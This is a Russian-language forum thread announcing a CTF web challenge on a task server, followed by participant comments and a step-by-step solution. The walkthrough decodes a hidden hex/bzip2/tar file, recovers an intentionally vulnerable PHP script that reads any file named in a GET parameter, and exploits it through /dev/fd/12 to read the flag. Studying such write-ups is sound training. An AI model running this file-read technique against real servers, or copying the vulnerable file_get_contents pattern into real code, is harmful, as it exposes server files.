С момента выхода последнего таска прошло некоторое время, все успели отдохнуть, набраться сил и новых знаний, а значит пришло время запускать следующий. Задание: Сроки: Правила: Таргет: Hint: Для работы с "каким-то странным файлом" можно присмотреться, например, к xxd Hint: /myb4ckap/s3cr3t.php.bak Прошли: @Ka1_ne @leksadin @Baskin-Robbins @Раrаdох @ii445888 Прохождения:
Честно говоря, долго ковырялся с начальной точкой входа в само задание, что несколько заставляло поникнуть — невнимательный Ну а дальше дело техники. Спасибо, было как всегда здорово!
Спасибо за задачу. С нетерпением жду разбора решения. Удалось пройти до уровня второй подсказки своими силами, дальше не получилось из-за отсутствия опыта программирования на PHP. В дальнейшем очень хочется видеть на Античате задачи, связанные с другими языками программирования и разнообразными стеками веб-приложений.
Прохождение: Для начала необходимо найти точку входа. Заходим на http://task.antichat.com:10014/, открываем исходный код страницы и внимательно изучаем его. Находим закомментированную строку, содержащую путь: Code: <!-- /somestrangefile Пройдя по нему, можно увидеть данные, в Hex представлении: Code: 42 5a 68 39 31 41 59 26 53 59 04 dc bb 81 00 00 7d fb 82 c2 10 00 10 40 05 ff 80 00 20 7b 5e 5e 60 20 00 00 08 20 00 72 2b 53 4c 47 a8 34 c8 03 43 d4 f5 1e 90 49 0a 9e 88 da 8d 07 a9 a1 ea 64 7a 80 a5 b0 79 7e 42 09 21 21 98 04 63 23 7a 68 58 32 48 1f 37 8b 56 1a db 73 ba 1b 23 60 bb 6b 4e 4d f2 80 eb 0e b1 94 bd 63 17 b6 a1 e9 4a 91 59 ce f1 cb a9 ca 84 a4 93 e2 2e 89 d0 3a b6 45 e3 08 d9 7c d6 e6 ac d2 70 7d 42 98 4e 00 00 a5 7e 2e e4 8a 70 a1 20 09 b9 77 02 Первые байты (см. Список сигнатур файлов 42 5a 68) указывают на то, что перед нами Сжатый файл с использованием алгоритма Bzip2 После этого нам необходимо преобразовать hex обратно в файл. Сделать это можно, например, с использованием утилиты xxd: Code: $ xxd -r -p somestrangefile data $ file data data: bzip2 compressed data, block size = 900k Используя утилиту bzip2 извлекаем данные: Code: $ bzip2 -d data bzip2: Can't guess original name for data -- using data.out $ file data.out data.out: POSIX tar archive (GNU) Перед нами tar архив. Извлекаем из него данные: Code: $ tar -xf data.out И получаем файл ctf.txt, содержимое которого выглядит следующим образом: Code: please,see /myb4ckap/s3cr3t.php.bak Изучаем содержимое файла s3cr3t.php.bak и понимаем, что перед нами данные, закодированные в base64. Декодируем их и получаем исходный код файла s3cr3t.php: Code: $ base64 -d s3cr3t.php.bak PHP: <?php $fp = fopen("/var/www/flag.txt", "r"); if(strlen($_GET['f']) <= 10) { echo file_get_contents($_GET['f']); } fclose($fp);?> Чтобы прочитать flag.txt у нас есть <= 10 символов. Конструкция, вроде ../flag.txt не подойдет, так как в сумме получается 11 символов. Также не подойдут разного рода Врапперы. Можно заметить, что в самом начале скрипта, c помощью функции fopen происходит открытие файла. На этом этапе, учитывая все ограничения и наличие функции fopen самое время вспомнить о Файловых Дескрипторах. Остается только выяснить нужный дескриптор, после чего мы сможем прочитать данные из файла flag.txt. Перебрав некоторое количество дескрипторов, выясняем, что нужный нам 12: Code: http://task.antichat.com:10014/s3cr3t.php?f=/dev/fd/12 И получаем флаг ⚑